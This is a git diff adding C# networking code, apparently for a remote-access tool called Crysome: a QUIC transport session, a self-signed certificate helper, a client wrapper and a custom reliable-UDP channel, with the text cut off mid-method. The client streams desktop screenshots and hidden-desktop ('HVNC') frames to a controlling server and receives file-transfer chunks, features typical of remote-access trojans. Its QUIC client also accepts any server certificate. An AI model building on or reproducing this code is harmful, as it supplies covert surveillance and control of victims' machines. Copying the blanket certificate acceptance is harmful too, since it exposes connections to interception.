+1,39 @@ +using System; +using System.Net; + +namespace Crysome.Common.Network.Transport; + +public interface ITransportSession : IDisposable, IAsyncDisposable +{ + bool IsAlive { get; } + + IPEndPoint RemoteEndPoint { get; } + + IPEndPoint LocalEndPoint { get; } + + double RttMs { get; } + + double LossRate { get; } + + long BytesSent { get; } + + long BytesRecv { get; } + + event Action ReliableReceived; + + event Action UnreliableFrameReceived; + + event Action CongestionChanged; + + event Action Disconnected; + + void SendReliable(ReadOnlySpan payload); + + void SendReliableBulk(ReadOnlySpan payload); + + void SendUnreliableScreen(byte packetTypeId, ReadOnlySpan payload); + + void SendPacketUnreliable(ReadOnlySpan payload); + + void SendFin(); +} diff --git a/Crysome.Common/Crysome.Common.Network.Transport/QuicCertificateHelper.cs b/Crysome.Common/Crysome.Common.Network.Transport/QuicCertificateHelper.cs new file mode 100644 index 0000000..e09b800 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Transport/QuicCertificateHelper.cs @@ -0,0 +1,26 @@ +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; + +namespace Crysome.Common.Network.Transport; + +public static class QuicCertificateHelper +{ + public static X509Certificate2 CreateServerCertificate() + { + using RSA key = RSA.Create(2048); + using X509Certificate2 x509Certificate = new CertificateRequest(new X500DistinguishedName("CN=Crysome QUIC"), key, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1) + { + CertificateExtensions = + { + (X509Extension)new X509BasicConstraintsExtension(certificateAuthority: false, hasPathLengthConstraint: false, 0, critical: false), + (X509Extension)new X509KeyUsageExtension(X509KeyUsageFlags.KeyEncipherment | X509KeyUsageFlags.DigitalSignature, critical: false), + (X509Extension)new X509EnhancedKeyUsageExtension(new OidCollection + { + new Oid("1.3.6.1.5.5.7.3.1") + }, critical: false) + } + }.CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1.0), DateTimeOffset.UtcNow.AddYears(10)); + return new X509Certificate2(x509Certificate.Export(X509ContentType.Pfx, (string?)null), (string?)null, X509KeyStorageFlags.Exportable | X509KeyStorageFlags.EphemeralKeySet); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Transport/QuicTransportSession.cs b/Crysome.Common/Crysome.Common.Network.Transport/QuicTransportSession.cs new file mode 100644 index 0000000..bb87714 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Transport/QuicTransportSession.cs @@ -0,0 +1,626 @@ +using System; +using System.Buffers.Binary; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Net; +using System.Net.Quic; +using System.Net.Security; +using System.Security.Cryptography.X509Certificates; +using System.Threading; +using System.Threading.Channels; +using System.Threading.Tasks; + +namespace Crysome.Common.Network.Transport; + +public sealed class QuicTransportSession : ITransportSession, IDisposable, IAsyncDisposable +{ + private sealed class FragBuf + { + public byte[][] Frags; + + public int RecvCount; + + public bool IsComplete + { + get + { + if (Frags != null) + { + return RecvCount >= Frags.Length; + } + return false; + } + } + } + + public const string Alpn = "crysome"; + + private readonly QuicConnection _conn; + + private readonly bool _isServer; + + private readonly QuicStream _control; + + private readonly QuicStream _screenOut; + + private readonly QuicStream _screenIn; + + private readonly QuicStream _bulkOut; + + private readonly QuicStream _bulkIn; + + private readonly CancellationTokenSource _cts = new CancellationTokenSource(); + + private readonly object _controlWriteLock = new object(); + + private readonly object _bulkWriteLock = new object(); + + private readonly object _screenWriteLock = new object(); + + private readonly Channel _screenChannel; + + private volatile bool _alive = true; + + private long _bytesSent; + + private long _bytesRecv; + + private double _rttMs = 100.0; + + private double _lossRate; + + private DateTime _lastCongestionEmit = DateTime.UtcNow; + + private readonly ConcurrentDictionary _screenFrags = new ConcurrentDictionary(); + + private uint _screenLastSeq; + + private readonly object _screenSeqLock = new object(); + + private bool _disposed; + + public IPEndPoint RemoteEndPoint => _conn?.RemoteEndPoint; + + public IPEndPoint LocalEndPoint => _conn?.LocalEndPoint; + + public bool IsAlive + { + get + { + if (_alive) + { + return !_disposed; + } + return false; + } + } + + public double RttMs => _rttMs; + + public double LossRate => _lossRate; + + public long BytesSent => _bytesSent; + + public long BytesRecv => _bytesRecv; + + public event Action ReliableReceived; + + public event Action UnreliableFrameReceived; + + public event Action CongestionChanged; + + public event Action Disconnected; + + private QuicTransportSession(QuicConnection conn, bool isServer, QuicStream control, QuicStream screenOut, QuicStream screenIn, QuicStream bulkOut, QuicStream bulkIn) + { + _conn = conn; + _isServer = isServer; + _control = control; + _screenOut = screenOut; + _screenIn = screenIn; + _bulkOut = bulkOut; + _bulkIn = bulkIn; + _screenChannel = Channel.CreateBounded(new BoundedChannelOptions(1) + { + FullMode = BoundedChannelFullMode.DropOldest, + SingleReader = true, + SingleWriter = false + }); + } + + public static async ValueTask ConnectClientAsync(EndPoint remote, CancellationToken ct) + { + if (!QuicConnection.IsSupported) + { + throw new InvalidOperationException("QUIC is not supported on this OS or runtime build."); + } + QuicConnection conn = await QuicConnection.ConnectAsync(new QuicClientConnectionOptions + { + RemoteEndPoint = remote, + DefaultCloseErrorCode = 0L, + DefaultStreamErrorCode = 0L, + MaxInboundBidirectionalStreams = 256, + MaxInboundUnidirectionalStreams = 256, + ClientAuthenticationOptions = new SslClientAuthenticationOptions + { + ApplicationProtocols = new List + { + new SslApplicationProtocol("crysome") + }, + RemoteCertificateValidationCallback = (object _, X509Certificate? _, X509Chain? _, SslPolicyErrors _) => true, + TargetHost = "crysome" + } + }, ct).ConfigureAwait(continueOnCapturedContext: false); + QuicTransportSession quicTransportSession = new QuicTransportSession(conn, isServer: false, await conn.OpenOutboundStreamAsync(QuicStreamType.Bidirectional, ct).ConfigureAwait(continueOnCapturedContext: false), await conn.OpenOutboundStreamAsync(QuicStreamType.Unidirectional, ct).ConfigureAwait(continueOnCapturedContext: false), null, null, await conn.AcceptInboundStreamAsync(ct).ConfigureAwait(continueOnCapturedContext: false)); + quicTransportSession.StartLoops(); + return quicTransportSession; + } + + public static async ValueTask AcceptServerAsync(QuicConnection conn, CancellationToken ct) + { + QuicTransportSession quicTransportSession = new QuicTransportSession(conn, isServer: true, await conn.AcceptInboundStreamAsync(ct).ConfigureAwait(continueOnCapturedContext: false), null, await conn.AcceptInboundStreamAsync(ct).ConfigureAwait(continueOnCapturedContext: false), await conn.OpenOutboundStreamAsync(QuicStreamType.Unidirectional, ct).ConfigureAwait(continueOnCapturedContext: false), null); + quicTransportSession.StartLoops(); + return quicTransportSession; + } + + public static async ValueTask StartListenerAsync(int port, X509Certificate2 certificate, CancellationToken ct) + { + if (!QuicListener.IsSupported) + { + throw new InvalidOperationException("QUIC listener is not supported on this OS or runtime build."); + } + return await QuicListener.ListenAsync(new QuicListenerOptions + { + ListenEndPoint = new IPEndPoint(IPAddress.Any, port), + ListenBacklog = 512, + ApplicationProtocols = new List + { + new SslApplicationProtocol("crysome") + }, + ConnectionOptionsCallback = (QuicConnection connection, SslClientHelloInfo clientHello, CancellationToken token) => ValueTask.FromResult(new QuicServerConnectionOptions + { + DefaultStreamErrorCode = 0L, + DefaultCloseErrorCode = 0L, + MaxInboundBidirectionalStreams = 256, + MaxInboundUnidirectionalStreams = 256, + ServerAuthenticationOptions = new SslServerAuthenticationOptions + { + ApplicationProtocols = new List + { + new SslApplicationProtocol("crysome") + }, + ServerCertificate = certificate + } + }) + }, ct).ConfigureAwait(continueOnCapturedContext: false); + } + + private void StartLoops() + { + CancellationToken ct = _cts.Token; + Task.Run(() => ControlReadLoop(ct), ct); + Task.Run(() => CongestionEmitLoop(ct), ct); + if (_isServer && _screenIn != null) + { + Task.Run(() => ScreenReadLoop(ct), ct); + } + if (!_isServer && _bulkIn != null) + { + Task.Run(() => BulkReadLoop(ct), ct); + } + if (!_isServer && _screenOut != null) + { + Task.Run(() => ScreenWriterLoop(ct), ct); + } + } + + private async Task CongestionEmitLoop(CancellationToken ct) + { + while (!ct.IsCancellationRequested && _alive) + { + try + { + await Task.Delay(2000, ct).ConfigureAwait(continueOnCapturedContext: false); + EmitCongestion(); + } + catch + { + break; + } + } + } + + private void EmitCongestion() + { + DateTime utcNow = DateTime.UtcNow; + if ((utcNow - _lastCongestionEmit).TotalMilliseconds < 500.0) + { + return; + } + _lastCongestionEmit = utcNow; + double num = Math.Min(1.0, _rttMs / 2000.0); + double lossRate = _lossRate; + double obj = Math.Min(1.0, num * 0.5 + lossRate * 0.5); + try + { + this.CongestionChanged?.Invoke(obj); + } + catch + { + } + } + + public void SendReliable(ReadOnlySpan payload) + { + if (_disposed || !_alive || _control == null) + { + return; + } + lock (_controlWriteLock) + { + try + { + WriteFrameSync(_control, payload); + Interlocked.Add(ref _bytesSent, 4 + payload.Length); + } + catch + { + TriggerDisconnect(); + } + } + } + + public void SendReliableBulk(ReadOnlySpan payload) + { + if (!_isServer || _bulkOut == null || _disposed || !_alive) + { + return; + } + lock (_bulkWriteLock) + { + try + { + WriteFrameSync(_bulkOut, payload); + Interlocked.Add(ref _bytesSent, 4 + payload.Length); + } + catch + { + TriggerDisconnect(); + } + } + } + + public void SendPacketUnreliable(ReadOnlySpan payload) + { + SendReliable(payload); + } + + public void SendUnreliableScreen(byte packetTypeId, ReadOnlySpan payload) + { + if (!_isServer && _screenOut != null) + { + uint frameSeq; + lock (_screenSeqLock) + { + frameSeq = ++_screenLastSeq; + } + byte[] array = payload.ToArray(); + int num = Math.Max(1, (array.Length + 60000 - 1) / 60000); + for (ushort num2 = 0; num2 < num; num2++) + { + int num3 = num2 * 60000; + int payloadLength = Math.Min(60000, array.Length - num3); + byte[] item = UdpTransport.BuildFragment(0u, packetTypeId, frameSeq, num2, (ushort)num, array, num3, payloadLength); + _screenChannel.Writer.TryWrite(item); + } + } + } + + private async Task ScreenWriterLoop(CancellationToken ct) + { + _ = 1; + try + { + await foreach (byte[] item in _screenChannel.Reader.ReadAllAsync(ct).ConfigureAwait(continueOnCapturedContext: false)) + { + if (_disposed || !_alive) + { + break; + } + lock (_screenWriteLock) + { + try + { + WriteFrameSync(_screenOut, item); + Interlocked.Add(ref _bytesSent, 4 + item.Length); + } + catch + { + } + } + } + } + catch + { + } + } + + private void WriteFrameSync(QuicStream stream, ReadOnlySpan payload) + { + byte[] array = new byte[4]; + BinaryPrimitives.WriteInt32LittleEndian(array, payload.Length); + stream.Write(array); + stream.Write(payload); + stream.Flush(); + } + + private async Task ControlReadLoop(CancellationToken ct) + { + try + { + while (!ct.IsCancellationRequested && _alive) + { + byte[] array = await ReadFrameAsync(_control, ct).ConfigureAwait(continueOnCapturedContext: false); + Interlocked.Add(ref _bytesRecv, 4 + array.Length); + try + { + this.ReliableReceived?.Invoke(array); + } + catch + { + } + } + } + catch + { + TriggerDisconnect(); + } + } + + private async Task ScreenReadLoop(CancellationToken ct) + { + try + { + while (!ct.IsCancellationRequested && _alive) + { + byte[] array = await ReadFrameAsync(_screenIn, ct).ConfigureAwait(continueOnCapturedContext: false); + Interlocked.Add(ref _bytesRecv, 4 + array.Length); + ProcessScreenDatagram(array); + } + } + catch + { + TriggerDisconnect(); + } + } + + private void ProcessScreenDatagram(byte[] dg) + { + if (!UdpTransport.ParseHeader(dg, dg.Length, out var _, out var packetTypeId, out var frameSeq, out var fragIdx, out var fragCount, out var payloadOffset, out var payloadLength)) + { + return; + } + if (fragCount <= 1) + { + byte[] array = new byte[payloadLength]; + if (payloadLength > 0) + { + Buffer.BlockCopy(dg, payloadOffset, array, 0, payloadLength); + } + try + { + this.UnreliableFrameReceived?.Invoke(packetTypeId, array); + return; + } + catch + { + return; + } + } + byte[] array2 = new byte[payloadLength]; + if (payloadLength > 0) + { + Buffer.BlockCopy(dg, payloadOffset, array2, 0, payloadLength); + } + FragBuf orAdd = _screenFrags.GetOrAdd(frameSeq, (uint _) => new FragBuf + { + Frags = new byte[fragCount][] + }); + if (fragIdx >= orAdd.Frags.Length || orAdd.Frags[fragIdx] != null) + { + return; + } + orAdd.Frags[fragIdx] = array2; + Interlocked.Increment(ref orAdd.RecvCount); + if (!orAdd.IsComplete) + { + return; + } + _screenFrags.TryRemove(frameSeq, out var _); + int num = 0; + byte[][] frags = orAdd.Frags; + foreach (byte[] array3 in frags) + { + if (array3 != null) + { + num += array3.Length; + } + } + byte[] array4 = new byte[num]; + int num3 = 0; + frags = orAdd.Frags; + foreach (byte[] array5 in frags) + { + if (array5 != null) + { + Buffer.BlockCopy(array5, 0, array4, num3, array5.Length); + num3 += array5.Length; + } + } + try + { + this.UnreliableFrameReceived?.Invoke(packetTypeId, array4); + } + catch + { + } + } + + private async Task BulkReadLoop(CancellationToken ct) + { + try + { + while (!ct.IsCancellationRequested && _alive) + { + byte[] array = await ReadFrameAsync(_bulkIn, ct).ConfigureAwait(continueOnCapturedContext: false); + Interlocked.Add(ref _bytesRecv, 4 + array.Length); + try + { + this.ReliableReceived?.Invoke(array); + } + catch + { + } + } + } + catch + { + TriggerDisconnect(); + } + } + + private static async Task ReadFrameAsync(QuicStream stream, CancellationToken ct) + { + byte[] lenBuf = new byte[4]; + await ReadExactAsync(stream, lenBuf, ct).ConfigureAwait(continueOnCapturedContext: false); + int num = BinaryPrimitives.ReadInt32LittleEndian(lenBuf); + if (num < 0 || num > 104857600) + { + throw new IOException("Invalid frame length"); + } + byte[] buf = new byte[num]; + await ReadExactAsync(stream, buf, ct).ConfigureAwait(continueOnCapturedContext: false); + return buf; + } + + private static async Task ReadExactAsync(QuicStream stream, Memory buffer, CancellationToken ct) + { + int num; + for (int o = 0; o < buffer.Length; o += num) + { + num = await stream.ReadAsync(buffer.Slice(o), ct).ConfigureAwait(continueOnCapturedContext: false); + if (num == 0) + { + throw new IOException("Stream ended"); + } + } + } + + public void SendFin() + { + try + { + _cts.Cancel(); + } + catch + { + } + _alive = false; + } + + private void TriggerDisconnect() + { + if (_disposed) + { + return; + } + _alive = false; + try + { + _cts.Cancel(); + } + catch + { + } + try + { + this.Disconnected?.Invoke(); + } + catch + { + } + } + + public void Dispose() + { + if (_disposed) + { + return; + } + _disposed = true; + _alive = false; + try + { + _cts.Cancel(); + } + catch + { + } + try + { + _screenChannel.Writer.TryComplete(); + } + catch + { + } + try + { + _control?.Dispose(); + } + catch + { + } + try + { + _screenOut?.Dispose(); + } + catch + { + } + try + { + _screenIn?.Dispose(); + } + catch + { + } + try + { + _bulkOut?.Dispose(); + } + catch + { + } + try + { + _bulkIn?.Dispose(); + } + catch + { + } + try + { + _conn?.DisposeAsync().AsTask().Wait(2000); + } + catch + { + } + } + + public async ValueTask DisposeAsync() + { + Dispose(); + await Task.CompletedTask; + } +} diff --git a/Crysome.Common/Crysome.Common.Network/CrysomeClient.cs b/Crysome.Common/Crysome.Common.Network/CrysomeClient.cs new file mode 100644 index 0000000..fcc76e9 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network/CrysomeClient.cs @@ -0,0 +1,280 @@ +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Net; +using System.Threading; +using Crysome.Common.Network.FileTransfer; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Transport; + +namespace Crysome.Common.Network; + +public class CrysomeClient +{ + private ITransportSession _transport; + + private RudpChannel _rudp; + + private CancellationTokenSource _readCts = new CancellationTokenSource(); + + private readonly BlockingCollection _inQueue = new BlockingCollection(2048); + + private bool _serverSide; + + public bool IsConnected + { + get + { + if (_transport != null) + { + if (_transport.IsAlive) + { + return !_readCts.IsCancellationRequested; + } + return false; + } + if (_rudp != null && _rudp.IsAlive) + { + return !_readCts.IsCancellationRequested; + } + return false; + } + } + + public IPEndPoint RemoteAddress + { + get + { + object obj = _transport?.RemoteEndPoint; + if (obj == null) + { + RudpChannel rudp = _rudp; + if (rudp == null) + { + return null; + } + obj = rudp.Remote; + } + return (IPEndPoint)obj; + } + } + + public IPEndPoint LocalAddress => _transport?.LocalEndPoint; + + public int Port => LocalAddress?.Port ?? 0; + + public double RttMs => _transport?.RttMs ?? _rudp?.RttMs ?? 0.0; + + public double LossRate => _transport?.LossRate ?? _rudp?.LossRate ?? 0.0; + + public long BytesSent => _transport?.BytesSent ?? _rudp?.BytesSent ?? 0; + + public long BytesRecv => _transport?.BytesRecv ?? _rudp?.BytesRecv ?? 0; + + public uint UdpSessionToken { get; set; } + + public IPEndPoint UdpRemoteEndPoint { get; set; } + + public uint UdpLastFrameSeq { get; set; } + + public event EventHandler PacketReceived; + + public event EventHandler PacketSent; + + public CrysomeClient(ITransportSession transport, bool serverSide) + { + AttachTransport(transport, serverSide); + } + + public CrysomeClient(RudpChannel channel) + { + AttachRudp(channel); + } + + public CrysomeClient() + { + } + + public void Connect(IPAddress address, int port) + { + QuicTransportSession result = QuicTransportSession.ConnectClientAsync(new IPEndPoint(address, port), CancellationToken.None).AsTask().GetAwaiter() + .GetResult(); + AttachTransport(result, serverSide: false); + } + + private void AttachTransport(ITransportSession transport, bool serverSide) + { + _transport = transport; + _serverSide = serverSide; + _transport.ReliableReceived += OnReliableData; + _transport.UnreliableFrameReceived += OnUnreliableControl; + _transport.Disconnected += OnDisconnected; + } + + private void AttachRudp(RudpChannel channel) + { + _rudp = channel; + _rudp.ReliableReceived += OnReliableData; + _rudp.UnreliableFrameReceived += OnUnreliableControl; + _rudp.Disconnected += OnDisconnected; + } + + public RudpChannel GetRudpChannel() + { + return _rudp; + } + + public void SendPacket(IPacket packet) + { + byte[] array = PacketSerializer.Serialize(packet); + if (_transport != null) + { + if (_serverSide && packet is FtChunkPacket) + { + _transport.SendReliableBulk(array); + } + else + { + _transport.SendReliable(array); + } + } + else + { + _rudp.SendReliable(array); + } + this.PacketSent?.Invoke(this, EventArgs.Empty); + } + + public void SendPacketUnreliable(IPacket packet) + { + byte[] array = PacketSerializer.Serialize(packet); + if (_transport != null) + { + _transport.SendPacketUnreliable(array); + } + else + { + _rudp.SendUnreliable(0, array); + } + this.PacketSent?.Invoke(this, EventArgs.Empty); + } + + public void SendDesktopScreenFrame(byte[] jpegData) + { + if (jpegData != null && jpegData.Length != 0) + { + if (_transport != null) + { + _transport.SendUnreliableScreen(36, jpegData); + } + else + { + _rudp.SendUnreliable(36, jpegData); + } + this.PacketSent?.Invoke(this, EventArgs.Empty); + } + } + + public void SendHvncFrame(byte[] jpegData) + { + if (jpegData != null && jpegData.Length != 0) + { + if (_transport != null) + { + _transport.SendUnreliableScreen(46, jpegData); + } + else + { + _rudp.SendUnreliable(46, jpegData); + } + this.PacketSent?.Invoke(this, EventArgs.Empty); + } + } + + public IPacket ReadPacket() + { + try + { + IPacket result = _inQueue.Take(_readCts.Token); + this.PacketReceived?.Invoke(this, EventArgs.Empty); + return result; + } + catch (OperationCanceledException) + { + throw new IOException("Connection closed"); + } + } + + public void Disconnect() + { + _readCts.Cancel(); + try + { + _transport?.SendFin(); + } + catch + { + } + try + { + _transport?.Dispose(); + } + catch + { + } + try + { + _rudp?.SendFin(); + } + catch + { + } + try + { + _rudp?.Dispose(); + } + catch + { + } + } + + private void OnReliableData(byte[] payload) + { + try + { + IPacket packet = PacketSerializer.Deserialize(payload); + if (packet != null && !_inQueue.IsAddingCompleted) + { + _inQueue.TryAdd(packet, 100); + } + } + catch + { + } + } + + private void OnUnreliableControl(byte typeId, byte[] data) + { + if (typeId != 0 || data == null) + { + return; + } + try + { + IPacket packet = PacketSerializer.Deserialize(data); + if (packet != null && !_inQueue.IsAddingCompleted) + { + _inQueue.TryAdd(packet, 20); + } + } + catch + { + } + } + + private void OnDisconnected() + { + _readCts.Cancel(); + _inQueue.CompleteAdding(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network/RudpChannel.cs b/Crysome.Common/Crysome.Common.Network/RudpChannel.cs new file mode 100644 index 0000000..dfcc913 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network/RudpChannel.cs @@ -0,0 +1,799 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; +using System.Threading; +using System.Threading.Tasks; + +namespace Crysome.Common.Network; + +public sealed class RudpChannel : IDisposable +{ + private sealed class Pending + { + public uint Seq; + + public byte[][] Datagrams; + + public DateTime SentAt; + + public DateTime LastSent; + + public int Retries; + } + + private sealed class FragBuf + { + public byte[][] Frags; + + public int RecvCount; + + public DateTime Created = DateTime.UtcNow; + + public bool IsComplete + { + get + { + if (Frags != null) + { + return RecvCount >= Frags.Length; + } + return false; + } + } + } + + public const int HeaderSize = 19; + + private const int WireMtuSafePayload = 1200; + + public const byte F_RELIABLE = 1; + + public const byte F_UNRELIABLE = 2; + + public const byte F_ACK = 4; + + public const byte F_SYN = 8; + + public const byte F_SYNACK = 16; + + public const byte F_FIN = 32; + + public const byte F_KEEPALIVE = 64; + + private const int InitRto = 500; + + private const int MaxRto = 16000; + + private const int MaxRetries = 15; + + private const int KeepaliveMs = 5000; + + private const int TimeoutMs = 30000; + + private const int MaxInFlight = 64; + + private readonly UdpClient _socket; + + private readonly bool _ownsSocket; + + private uint _sendSeq; + + private uint _recvSeq; + + private uint _unrelSendSeq; + + private uint _unrelLastSeq; + + private readonly object _seqLock = new object(); + + private readonly ConcurrentDictionary _pending = new ConcurrentDictionary(); + + private readonly SortedDictionary _ooo = new SortedDictionary(); + + private readonly object _oooLock = new object(); + + private readonly ConcurrentDictionary _fragBufs = new ConcurrentDictionary(); + + private readonly ConcurrentDictionary _relFragBufs = new ConcurrentDictionary(); + + private int _rtoMs = 500; + + private bool _rtoDoubledThisCycle; + + private DateTime _lastActivity = DateTime.UtcNow; + + private CancellationTokenSource _cts; + + private bool _disposed; + + private readonly SemaphoreSlim _sendWindow = new SemaphoreSlim(64, 64); + + private readonly object _statsLock = new object(); + + private double _srtt = 100.0; + + private double _rttvar = 50.0; + + public uint SessionId { get; private set; } + + public IPEndPoint Remote { get; private set; } + + public bool IsAlive + { + get + { + if (!_disposed) + { + return (DateTime.UtcNow - _lastActivity).TotalMilliseconds < 30000.0; + } + return false; + } + } + + public double RttMs { get; private set; } = 100.0; + + public double LossRate { get; private set; } + + public long BytesSent { get; private set; } + + public long BytesRecv { get; private set; } + + public long PktsSent { get; private set; } + + public long PktsLost { get; private set; } + + public event Action ReliableReceived; + + public event Action UnreliableFrameReceived; + + public event Action Disconnected; + + public event Action CongestionChanged; + + public RudpChannel(uint sessionId, IPEndPoint remote, int localPort = 0) + { + SessionId = sessionId; + Remote = remote; + _socket = new UdpClient(localPort); + _socket.Client.ReceiveBufferSize = 8388608; + _socket.Client.SendBufferSize = 8388608; + _ownsSocket = true; + } + + public RudpChannel(uint sessionId, IPEndPoint remote, UdpClient sharedSocket) + { + SessionId = sessionId; + Remote = remote; + _socket = sharedSocket; + _ownsSocket = false; + } + + public void Start() + { + _cts = new CancellationTokenSource(); + if (_ownsSocket) + { + Task.Run(delegate + { + OwnedReceiveLoop(_cts.Token); + }); + } + Task.Run(delegate + { + RetransmitLoop(_cts.Token); + }); + Task.Run(delegate + { + KeepaliveLoop(_cts.Token); + }); + } + + public void Dispose() + { + if (_disposed) + { + return; + } + _disposed = true; + try + { + _cts?.Cancel(); + } + catch + { + } + if (_ownsSocket) + { + try + { + _socket?.Close(); + } + catch + { + } + } + int count = _pending.Count; + _pending.Clear(); + for (int i = 0; i < count + 64; i++) + { + try + { + _sendWindow.Release(); + } + catch + { + } + } + } + + public void SendReliable(byte[] payload) + { + if (_disposed) + { + return; + } + _sendWindow.Wait(); + if (_disposed) + { + _sendWindow.Release(); + return; + } + int num = Math.Max(1, (payload.Length + 1200 - 1) / 1200); + uint num2; + lock (_seqLock) + { + num2 = ++_sendSeq; + } + byte[][] array = new byte[num][]; + for (ushort num3 = 0; num3 < num; num3++) + { + int num4 = num3 * 1200; + int payLen = Math.Min(1200, payload.Length - num4); + array[num3] = BuildDatagram(1, num2, 0u, num3, (ushort)num, 0, payload, num4, payLen); + } + Pending value = new Pending + { + Seq = num2, + Datagrams = array, + SentAt = DateTime.UtcNow, + LastSent = DateTime.UtcNow + }; + _pending[num2] = value; + bool flag = num > 4; + byte[][] array2 = array; + foreach (byte[] dg in array2) + { + RawSend(dg); + if (flag) + { + Thread.Sleep(2); + } + } + PktsSent++; + } + + public void SendUnreliable(byte packetTypeId, byte[] payload) + { + if (_disposed) + { + return; + } + uint seqNum; + lock (_seqLock) + { + seqNum = ++_unrelSendSeq; + } + int num = Math.Max(1, (payload.Length + 1200 - 1) / 1200); + for (ushort num2 = 0; num2 < num; num2++) + { + int num3 = num2 * 1200; + int payLen = Math.Min(1200, payload.Length - num3); + byte[] dg = BuildDatagram(2, seqNum, 0u, num2, (ushort)num, packetTypeId, payload, num3, payLen); + RawSend(dg); + if (num > 16 && (num2 & 0xF) == 15 && num2 < num - 1) + { + Thread.Sleep(1); + } + } + } + + public void SendSyn() + { + byte[] dg = BuildDatagram(8, 0u, 0u, 0, 1, 0, new byte[0], 0, 0); + RawSend(dg); + } + + public void SendSynAck() + { + byte[] dg = BuildDatagram(16, SessionId, 0u, 0, 1, 0, new byte[0], 0, 0); + RawSend(dg); + } + + public void SendFin() + { + byte[] dg = BuildDatagram(32, 0u, 0u, 0, 1, 0, new byte[0], 0, 0); + try + { + RawSend(dg); + } + catch + { + } + } + + public void FeedDatagram(byte[] datagram) + { + ProcessDatagram(datagram); + } + + private async void OwnedReceiveLoop(CancellationToken ct) + { + while (!ct.IsCancellationRequested && !_disposed) + { + try + { + ProcessDatagram((await _socket.ReceiveAsync()).Buffer); + } + catch (ObjectDisposedException) + { + break; + } + catch + { + } + } + } + + private void ProcessDatagram(byte[] dg) + { + if (dg == null || dg.Length < 19) + { + return; + } + _lastActivity = DateTime.UtcNow; + BytesRecv += dg.Length; + BitConverter.ToUInt32(dg, 0); + byte b = dg[4]; + uint seq = BitConverter.ToUInt32(dg, 5); + uint ackSeq = BitConverter.ToUInt32(dg, 9); + ushort fragIdx = BitConverter.ToUInt16(dg, 13); + ushort fragCount = BitConverter.ToUInt16(dg, 15); + byte typeId = dg[17]; + int payLen = dg.Length - 19; + if ((b & 4) != 0) + { + HandleAck(ackSeq); + } + else if ((b & 0x40) == 0) + { + if ((b & 0x20) != 0) + { + TriggerDisconnect(); + } + else if ((b & 1) != 0) + { + HandleReliableData(seq, fragIdx, fragCount, dg, payLen); + } + else if ((b & 2) != 0) + { + HandleUnreliableData(seq, typeId, fragIdx, fragCount, dg, payLen); + } + } + } + + private void HandleAck(uint ackSeq) + { + if (_pending.TryRemove(ackSeq, out var value)) + { + double totalMilliseconds = (DateTime.UtcNow - value.SentAt).TotalMilliseconds; + UpdateRtt(totalMilliseconds); + try + { + _sendWindow.Release(); + } + catch + { + } + } + } + + private void HandleReliableData(uint seq, ushort fragIdx, ushort fragCount, byte[] dg, int payLen) + { + int num = 19; + if (payLen < 0 || num + payLen > dg.Length) + { + return; + } + byte[] array = new byte[payLen]; + if (payLen > 0) + { + Buffer.BlockCopy(dg, num, array, 0, payLen); + } + if (fragCount > 1) + { + FragBuf orAdd = _relFragBufs.GetOrAdd(seq, (uint _) => new FragBuf + { + Frags = new byte[fragCount][] + }); + if (fragIdx >= orAdd.Frags.Length || orAdd.Frags[fragIdx] != null) + { + return; + } + orAdd.Frags[fragIdx] = array; + Interlocked.Increment(ref orAdd.RecvCount); + if (!orAdd.IsComplete) + { + return; + } + _relFragBufs.TryRemove(seq, out var _); + SendAck(seq); + int num2 = 0; + byte[][] frags = orAdd.Frags; + foreach (byte[] array2 in frags) + { + if (array2 != null) + { + num2 += array2.Length; + } + } + byte[] array3 = new byte[num2]; + int num4 = 0; + frags = orAdd.Frags; + foreach (byte[] array4 in frags) + { + if (array4 != null) + { + Buffer.BlockCopy(array4, 0, array3, num4, array4.Length); + num4 += array4.Length; + } + } + array = array3; + } + else + { + SendAck(seq); + } + lock (_oooLock) + { + uint num5 = _recvSeq + 1; + if (seq == num5 || _recvSeq == 0) + { + _recvSeq = seq; + DispatchReliable(array); + while (true) + { + uint num6 = _recvSeq + 1; + if (_ooo.TryGetValue(num6, out var value2)) + { + _ooo.Remove(num6); + _recvSeq = num6; + DispatchReliable(value2); + continue; + } + break; + } + } + else if ((int)(seq - num5) > 0 && !_ooo.ContainsKey(seq)) + { + _ooo[seq] = array; + } + } + } + + private void HandleUnreliableData(uint seq, byte typeId, ushort fragIdx, ushort fragCount, byte[] dg, int payLen) + { + lock (_seqLock) + { + if (_unrelLastSeq != 0 && (int)(seq - _unrelLastSeq) <= 0) + { + return; + } + } + int num = 19; + if (payLen < 0 || num + payLen > dg.Length) + { + return; + } + byte[] array = new byte[payLen]; + if (payLen > 0) + { + Buffer.BlockCopy(dg, num, array, 0, payLen); + } + if (fragCount <= 1) + { + lock (_seqLock) + { + _unrelLastSeq = seq; + } + DispatchUnreliable(typeId, array); + return; + } + FragBuf orAdd = _fragBufs.GetOrAdd(seq, (uint _) => new FragBuf + { + Frags = new byte[fragCount][] + }); + if (fragIdx >= orAdd.Frags.Length || orAdd.Frags[fragIdx] != null) + { + return; + } + orAdd.Frags[fragIdx] = array; + Interlocked.Increment(ref orAdd.RecvCount); + if (!orAdd.IsComplete) + { + return; + } + _fragBufs.TryRemove(seq, out var _); + lock (_seqLock) + { + if (_unrelLastSeq != 0 && (int)(seq - _unrelLastSeq) <= 0) + { + return; + } + _unrelLastSeq = seq; + } + int num2 = 0; + byte[][] frags = orAdd.Frags; + foreach (byte[] array2 in frags) + { + if (array2 != null) + { + num2 += array2.Length; + } + } + byte[] array3 = new byte[num2]; + int num4 = 0; + frags = orAdd.Frags; + foreach (byte[] array4 in frags) + { + if (array4 != null) + { + Buffer.BlockCopy(array4, 0, array3, num4, array4.Length); + num4 += array4.Length; + } + } + DispatchUnreliable(typeId, array3); + } + + private void DispatchReliable(byte[] data) + { + Task.Run(delegate + { + try + { + this.ReliableReceived?.Invoke(data); + } + catch + { + } + }); + } + + private void DispatchUnreliable(byte typeId, 